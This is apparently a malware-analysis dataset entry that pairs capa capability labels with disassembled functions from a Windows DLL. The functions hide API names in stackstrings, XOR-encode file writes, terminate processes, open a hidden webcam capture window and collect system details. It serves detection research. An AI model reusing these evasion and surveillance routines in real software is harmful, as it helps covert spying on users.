joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10006f20
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get file size

Disassembly:
sub esp, 0x3c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x1c]
push edi
lea ecx, [esp + 0x2c]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x34], 0x6b
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x72
mov byte [esp + 0x37], 0x6e
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], 0x6c
mov byte [esp + 0x3a], 0x33
mov byte [esp + 0x3b], 0x32
mov byte [esp + 0x3c], 0x2e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x3e], 0x6c
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x61
mov byte [esp + 0x2c], 0x74
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x46
mov byte [esp + 0x2f], 0x69
mov byte [esp + 0x30], 0x6c
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x41
mov byte [esp + 0x33], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x3c]
push edx
push eax
mov byte [esp + 0x44], 0x6b
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x72
mov byte [esp + 0x47], 0x6e
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x6c
mov byte [esp + 0x4a], 0x33
mov byte [esp + 0x4b], 0x32
mov byte [esp + 0x4c], 0x2e
mov byte [esp + 0x4d], 0x64
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x6c
mov byte [esp + 0x50], 0
mov byte [esp + 0x1c], 0x57
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x46
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0
call esi
push eax
call edi
mov ecx, dword [0x1001b074]
push 0
push 0x80
push 4
push 0
push 2
add ecx, 0xd
push 0x40000000
push ecx
mov ebx, eax
call ebp
mov esi, eax
push 0
push esi
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x10007083
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [esp + 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
push ebp
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
test ebp, ebp
jle 0x100070bd
mov ecx, dword [esp + 0x50]
mov dword [esp + 0x50], ebp
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
mov edx, dword [esp + 0x50]
inc eax
dec edx
mov dword [esp + 0x50], edx
jne 0x100070a9
lea eax, [esp + 0x10]
push 0
push eax
push ebp
push edi
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x3c
ret
Function at 0x10007680
Capabilities:
Read file via mapping

Disassembly:
mov eax, dword [0x1001b084]
sub esp, 0x28
test eax, eax
jne 0x1000769c
push str.user32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [0x1001b084], eax
push esi
lea ecx, [esp + 0x18]
push edi
mov edi, 0x10015224
lea eax, [esp + 0x1c]
push ecx
lea ecx, [esp + 0xc]
mov dword [esp + 0xc], edi
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0xc
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 0
call fcn.100077a0
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [esp + 0x10], eax
call esi
mov eax, dword [esp + 0x10]
add esp, 4
neg eax
sbb eax, eax
lea edx, [esp + 0x10]
push str.MyCreateMa
push 0x594
and eax, edx
push 0
push 4
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0x30
mov dword [0x1001b078], eax
call esi
mov eax, dword [0x1001b078]
add esp, 4
test eax, eax
jne 0x1000772a
mov eax, dword [esp + 0xc]
mov dword [esp + 8], edi
jmp 0x10007762
push 0x30
call esi
mov eax, dword [0x1001b078]
add esp, 4
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0x30
mov dword [0x1001b074], eax
call esi
mov eax, dword [0x1001b074]
add esp, 4
test eax, eax
mov eax, dword [esp + 0xc]
mov dword [esp + 8], edi
jne 0x1000777e
test eax, eax
je 0x10007776
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
xor al, al
pop esi
add esp, 0x28
ret
test eax, eax
je 0x10007792
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
mov al, 1
pop esi
add esp, 0x28
ret
Function at 0x10007e70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push esi
mov esi, ecx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x19], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x1f], cl
mov cl, 0x74
mov byte [esp + 0x15], al
mov byte [esp + 0x18], al
mov byte [esp + 6], al
mov byte [esp + 9], al
mov byte [esp + 0xc], al
mov byte [esp + 8], cl
mov byte [esp + 0xe], cl
lea eax, [esp + 4]
push edi
lea ecx, [esp + 0x18]
mov dl, 0x6e
push eax
push ecx
mov dword [esi], 0x10015234
mov byte [esp + 0x20], 0x6b
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x23], dl
mov byte [esp + 0x26], 0x33
mov byte [esp + 0x27], 0x32
mov byte [esp + 0x28], 0x2e
mov byte [esp + 0x29], 0x64
mov byte [esp + 0x2c], 0
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x13], 0x61
mov byte [esp + 0x16], 0x45
mov byte [esp + 0x17], 0x76
mov byte [esp + 0x19], dl
mov byte [esp + 0x1b], 0x41
mov byte [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x2c]
push esi
mov edi, eax
mov dword [esi + 4], ecx
call fcn.10002950
push 0
push 0
push 1
push 0
call edi
mov dword [esi + 8], eax
mov eax, esi
pop edi
pop esi
add esp, 0x20
ret 4

Function at 0x10008030
Capabilities:
Create directory

Disassembly:
push 0xffffffffffffffff
push 0x100148f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push ebx
push esi
push edi
mov ebx, ecx
push eax
mov dword [esp + 0x10], ebx
call fcn.10007e70
xor eax, eax
mov ecx, 0x41
push eax
mov edi, 0x1001b088
push 5
mov dword [ebx], 0x1001523c
push 0x1001b088
push eax
rep stosd dword es:[edi], eax
mov dword [esp + 0x28], 0
call dword [0x1001a540]
mov edi, str.Plugin
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov edx, ecx
mov edi, 0x1001b088
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x1001b088
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0x1001b088
call dword [sym.imp.MSVCRT.dll_puts]
add esp, 4
lea eax, [esp + 0x20]
mov ecx, ebx
mov byte [esp + 0x20], 0x81
push 1
push eax
call fcn.10007f90
mov ecx, ebx
call fcn.10008000
push 0
push 0
push 0
push ebx
push 0x100086c0
push 0
push 0
call fcn.1000b080
mov ecx, dword [esp + 0x2c]
add esp, 0x1c
mov eax, ebx
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
add esp, 0x10
ret 4
Function at 0x10008150
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x3c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x10]
push edi
lea ecx, [esp + 0x2c]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x34], 0x6b
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], 0x72
mov byte [esp + 0x37], 0x6e
mov byte [esp + 0x38], bl
mov byte [esp + 0x39], 0x6c
mov byte [esp + 0x3a], 0x33
mov byte [esp + 0x3b], 0x32
mov byte [esp + 0x3c], 0x2e
mov byte [esp + 0x3d], 0x64
mov byte [esp + 0x3e], 0x6c
mov byte [esp + 0x3f], 0x6c
mov byte [esp + 0x40], 0
mov byte [esp + 0x1c], 0x57
mov byte [esp + 0x1d], 0x72
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x74
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0x46
mov byte [esp + 0x22], 0x69
mov byte [esp + 0x23], 0x6c
mov byte [esp + 0x24], bl
mov byte [esp + 0x25], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
lea edx, [esp + 0x20]
lea eax, [esp + 0x3c]
push edx
push eax
mov byte [esp + 0x44], 0x6b
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], 0x72
mov byte [esp + 0x47], 0x6e
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x6c
mov byte [esp + 0x4a], 0x33
mov byte [esp + 0x4b], 0x32
mov byte [esp + 0x4c], 0x2e
mov byte [esp + 0x4d], 0x64
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x6c
mov byte [esp + 0x50], 0
mov byte [esp + 0x28], 0x43
mov byte [esp + 0x29], 0x72
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x61
mov byte [esp + 0x2c], 0x74
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x46
mov byte [esp + 0x2f], 0x69
mov byte [esp + 0x30], 0x6c
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x41
mov byte [esp + 0x33], 0
call esi
push eax
call edi
mov ecx, dword [esp + 0x58]
xor esi, esi
push esi
push 0x80
push 4
push esi
push 3
push 0x40000000
push ecx
call eax
mov edi, eax
cmp edi, 0xffffffff
jne 0x10008296
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x3c
ret
push 2
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [esp + 0x54]
mov dword [esp + 0x10], esi
mov ecx, dword [esp + 0x50]
lea edx, [esp + 0x10]
mov eax, ebx
push 0
push edx
sub eax, esi
lea edx, [esi + ecx]
push eax
push edx
push edi
call ebp
add esi, dword [esp + 0x10]
cmp esi, ebx
jb 0x100082a9
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x3c
ret
Function at 0x10008900
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x1001492e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x44
mov eax, dword [esp + 0x54]
push ebx
push ebp
push esi
push edi
mov esi, ecx
push eax
mov dword [esp + 0x14], esi
call fcn.10007e70
mov dword [esp + 0x5c], 0
mov dword [esi + 0x24], 0x1001524c
mov dword [esp + 0x14], 0x7f8a
mov dword [esp + 0x18], 0x7f00
mov dword [esp + 0x1c], 0x7f03
mov dword [esp + 0x20], 0x7f89
mov dword [esp + 0x24], 0x7f8b
mov dword [esp + 0x28], 0x7f01
mov dword [esp + 0x2c], 0x7f81
mov dword [esp + 0x30], 0x7f88
mov dword [esp + 0x34], 0x7f80
mov dword [esp + 0x38], 0x7f86
mov dword [esp + 0x3c], 0x7f83
mov dword [esp + 0x40], 0x7f85
mov dword [esp + 0x44], 0x7f82
mov dword [esp + 0x48], 0x7f84
mov dword [esp + 0x4c], 0x7f04
mov dword [esp + 0x50], 0x7f02
lea ebp, [esp + 0x14]
lea edi, [esi + 0x68]
mov ebx, 0x10
mov eax, dword [ebp]
push eax
push 0
mov dword [edi - 0x40], eax
call dword [0x1001a5dc]
mov dword [edi], eax
add ebp, 4
add edi, 4
dec ebx
jne 0x100089c7
mov ebx, 1
push 0x110
mov byte [esp + 0x60], bl
mov dword [esi], 0x10015244
mov byte [esi + 0x13], bl
mov dword [esi + 0x18], 8
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov dword [esp + 0x64], eax
test eax, eax
mov byte [esp + 0x5c], 2
je 0x10008a23
push 0x64
push 0
push 8
mov ecx, eax
call fcn.10009600
jmp 0x10008a25
xor eax, eax
push ebx
push 0
push 0
push esi
push 0x100090e0
push 0
push 0
mov byte [esp + 0x78], bl
mov dword [esi + 0xa8], eax
mov byte [esi + 0x10], bl
mov byte [esi + 0x12], 0
mov byte [esi + 0x11], 0
mov byte [esi + 0x14], 0
call fcn.1000b080
push ebx
push 0
push 0
push esi
push 0x10009150
push 0
push 0
mov dword [esi + 0x1c], eax
call fcn.1000b080
mov ecx, dword [esp + 0x8c]
add esp, 0x38
mov dword [esi + 0x20], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x50
ret 4
Function at 0x10009a70
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x20
push ebx
mov ebx, dword [esp + 0x28]
push ebp
push esi
push edi
xor edi, edi
cmp ebx, edi
mov esi, ecx
je 0x10009c4a
cmp dword [esi + 0x1c], edi
je 0x10009c4a
call fcn.1000a120
lea ebp, [esi + 4]
push 1
push ebp
mov ecx, esi
mov dword [esi + 0x20], edi
call fcn.10009f00
lea eax, [esp + 0x14]
push eax
call dword [0x1001a584]
lea ecx, [esp + 0x14]
push 8
push ecx
mov ecx, esi
call fcn.10009f00
lea edx, [esp + 0x1c]
mov dword [esp + 0x1c], 0x14
push edx
call dword [0x1001a588]
test eax, eax
je 0x10009b2e
cmp dword [esp + 0x20], 1
jne 0x10009b2e
mov ecx, dword [esp + 0x24]
lea eax, [esi + 0xcc]
cmp ecx, dword [eax]
je 0x10009af3
inc edi
add eax, 4
cmp edi, 0x10
jl 0x10009ae6
push str.User32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
push str.DestroyCursor
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov eax, dword [esp + 0x24]
push eax
call dword [0x1001a590]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp edi, 0x10
jne 0x10009b26
or edi, 0xffffffff
mov ebx, dword [esp + 0x34]
mov eax, edi
jmp 0x10009b31
or eax, 0xffffffff
lea ecx, [esp + 0x13]
push 1
push ecx
mov ecx, esi
mov byte [esp + 0x1b], al
call fcn.10009f00
cmp byte [ebp], 2
jne 0x10009b99
mov eax, dword [esi + 0x68]
mov ecx, dword [esi + 0x44]
mov edx, dword [eax + 8]
mov eax, dword [eax + 4]
push edx
mov edx, dword [esi + 0x80]
push eax
push ecx
push edx
mov ecx, esi
call fcn.1000a160
mov eax, dword [esi + 0x68]
mov edx, dword [esi + 0x20]
mov ecx, dword [eax + 0x14]
mov eax, dword [esi + 0x1c]
add edx, eax
mov eax, dword [esi + 0x60]
push ecx
mov ecx, dword [esi + 0x78]
push edx
push eax
push ecx
mov ecx, esi
call fcn.1000a1d0
mov ecx, dword [esi + 0x20]
pop edi
add eax, ecx
mov dword [ebx], eax
mov eax, dword [esi + 0x1c]
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 4
mov ebp, dword [esp + 0x18]
xor edx, edx
lea eax, [ebp - 0x13]
test eax, eax
setl dl
dec edx
and edx, eax
mov eax, dword [0x1001b194]
cmp ebp, eax
mov edi, edx
je 0x10009bc6
push edi
mov ecx, esi
call fcn.10009c60
test al, al
je 0x10009bc6
add edi, 0x13
jmp 0x10009bc9
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x10009be7
push edi
mov ecx, esi
call fcn.10009c60
test al, al
je 0x10009bdd
add edi, 0x13
mov eax, dword [esi + 0x2c]
add edi, 0x13
cmp edi, eax
jl 0x10009bce
mov eax, dword [esp + 0x18]
mov ecx, 0x13
mov dword [0x1001b194], eax
mov eax, dword [esi + 0x30]
add eax, 3
lea edi, [esi + 0x14]
cdq
idiv ecx
mov dword [esi + 0x30], edx
mov edx, dword [esi + 0x20]
mov dword [ebx], edx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jae 0x10009c33
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call ebp
call ebx
mov edx, dword [edi]
mov ecx, dword [esi + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x10009c22
call ebx
push eax
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x1c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x20
ret 4
Function at 0x1000ab10
Capabilities:
Terminate process

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, ecx
push str.OpenProcess
push str.KERNEL32.dll
mov dword [esp + 0x18], edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, dword [esp + 0x1c]
xor esi, esi
test ebp, ebp
mov ebx, eax
jbe 0x1000ab6c
mov eax, dword [esp + 0x18]
mov ecx, dword [esi + eax]
push ecx
push 0
push 0x1f0fff
call ebx
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, ebp
jb 0x1000ab3e
mov edi, dword [esp + 0x10]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, edi
call fcn.1000aab0
mov ecx, edi
call fcn.1000aae0
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 8
Function at 0x1000b080
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x30
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x15], cl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], cl
mov cl, 0x74
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 2], al
mov byte [esp + 5], al
mov byte [esp + 8], al
mov byte [esp + 4], cl
mov byte [esp + 0xa], cl
lea eax, [esp]
push esi
lea ecx, [esp + 0x14]
mov dl, 0x6e
push eax
push ecx
mov byte [esp + 0x1c], 0x6b
mov byte [esp + 0x1e], 0x72
mov byte [esp + 0x1f], dl
mov byte [esp + 0x22], 0x33
mov byte [esp + 0x23], 0x32
mov byte [esp + 0x24], 0x2e
mov byte [esp + 0x25], 0x64
mov byte [esp + 0x28], 0
mov byte [esp + 0xc], 0x43
mov byte [esp + 0xd], 0x72
mov byte [esp + 0xf], 0x61
mov byte [esp + 0x12], 0x45
mov byte [esp + 0x13], 0x76
mov byte [esp + 0x15], dl
mov byte [esp + 0x17], 0x41
mov byte [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [esp + 0x40]
mov ecx, dword [esp + 0x44]
push 0
mov dword [esp + 0x28], edx
mov dl, byte [esp + 0x54]
push 0
push 0
push 0
mov dword [esp + 0x38], ecx
mov byte [esp + 0x3c], dl
call eax
mov ecx, dword [esp + 0x48]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x4c]
lea edx, [esp + 0x24]
push eax
mov eax, dword [esp + 0x40]
push ecx
mov ecx, dword [esp + 0x40]
push edx
push 0x1000b000
push eax
push ecx
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov edx, dword [esp + 0x48]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x30]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x30
ret
Function at 0x1000b660
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, ecx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x21], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], cl
mov cl, 0x74
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0xe], al
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x10], cl
mov byte [esp + 0x16], cl
lea eax, [esp + 0xc]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 0x20]
mov bl, 0x72
mov dl, 0x6e
push eax
push ecx
mov dword [esi], 0x10015264
mov byte [esp + 0x28], 0x6b
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x34], 0
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], bl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1e], 0x45
mov byte [esp + 0x1f], 0x76
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x41
mov byte [esp + 0x24], 0
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push str.user32.dll
mov ebx, eax
call edi
push 0
push 0
push 0
push 0
mov dword [0x1001b1ac], eax
call ebx
xor ebx, ebx
mov dword [esi + 4], eax
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
call fcn.1000b8b0
test al, al
je 0x1000b7b1
mov al, byte [0x1001b1a8]
test al, al
jne 0x1000b7b1
mov edx, dword [0x1001b1ac]
push str.CreateWindowExA
push edx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x80000000
push 0x1001a678
push str.32770
push ebx
call eax
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [esi + 0x10], eax
call ebx
add esp, 4
push str.AVICAP32.dll
call edi
mov edi, eax
push str.capCreateCaptureWindowA
push edi
call ebp
mov ecx, dword [esi + 0x10]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x50000000
push str.CVideoCap
call eax
push 0x30
mov dword [esi + 0x14], eax
call ebx
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x1000c410
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x2b4
push ebx
push ebp
push esi
lea eax, [esp + 0x78]
push edi
push eax
mov byte [esp + 0x7c], 0x66
mov byte [esp + 0x15e], 0
mov dword [esp + 0x80], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov edi, dword [esp + 0x2d4]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x160]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x1c4], 0
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov dword [esp + 0x14], pe_nt_image_headers32
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x3f
lea edi, [esp + 0x1c5]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x1c]
stosb byte es:[edi], al
push ecx
mov edi, 1
push edx
push 0
push edi
push 0
push 0
push 0
push str.NetSubKey
push 0x80000001
mov dword [esp + 0x40], edi
call dword [0x1001a51c]
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.GetComputerNameA
push str.KERNEL32.dll
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov esi, eax
lea eax, [esp + 0x14]
lea ecx, [esp + 0x1c4]
push eax
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x24]
push ecx
push edx
push 0
push 0x1001a678
push eax
mov dword [esp + 0x38], edi
call dword [0x1001a530]
test eax, eax
jne 0x1000c50d
mov ecx, dword [esp + 0x10]
push ecx
call dword [0x1001a4b4]
jmp 0x1000c51c
lea edx, [esp + 0x14]
lea eax, [esp + 0x1c4]
push edx
push eax
call esi
xor ecx, ecx
lea edx, [esp + 0x18]
mov dword [esp + 0x24], ecx
push edx
mov dword [esp + 0x2c], ecx
lea eax, [esp + 0x28]
mov dword [esp + 0x30], ecx
push eax
mov dword [esp + 0x38], ecx
mov ecx, dword [esp + 0x2d4]
mov dword [esp + 0x20], 0x10
mov edx, dword [ecx + 0xa8]
push edx
call dword [0x1001a648]
mov eax, dword [esp + 0x28]
mov ecx, 0xc
lea esi, [esp + 0x1c4]
lea edi, [esp + 0x128]
mov dword [esp + 0x124], eax
push str.GetSystemInfo
rep movsd dword es:[edi], dword [esi]
push str.KERNEL32.dll
movsw word es:[edi], word [esi]
call ebp
push eax
call ebx
lea ecx, [esp + 0x54]
push ecx
call eax
mov dx, word [esp + 0x68]
mov word [esp + 0x118], dx
call fcn.1000c350
mov dword [esp + 0x11c], eax
lea eax, [esp + 0x34]
push eax
mov dword [esp + 0x38], 0x20
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
mov ecx, dword [esp + 0x3c]
shr ecx, 0x14
inc ecx
mov dword [esp + 0x120], ecx
call fcn.1000c3b0
mov edx, dword [esp + 0x2d0]
mov ecx, dword [esp + 0x2cc]
mov byte [esp + 0x15a], al
lea eax, [esp + 0x78]
push 0x14c
push eax
mov dword [esp + 0x164], edx
call fcn.100026e0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2b4
ret
Function at 0x1000cbd0
Capabilities:
Create directory

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
mov ebx, dword [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000cc4f
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
cmp byte [esi + ebx], 0x5c
jne 0x1000cc3d
push esi
lea eax, [esp + 0x14]
push ebx
push eax
call ebp
lea ecx, [esp + 0x1c]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
jne 0x1000cc3d
lea edx, [esp + 0x10]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
inc esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp esi, ecx
jb 0x1000cc0c
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x104
ret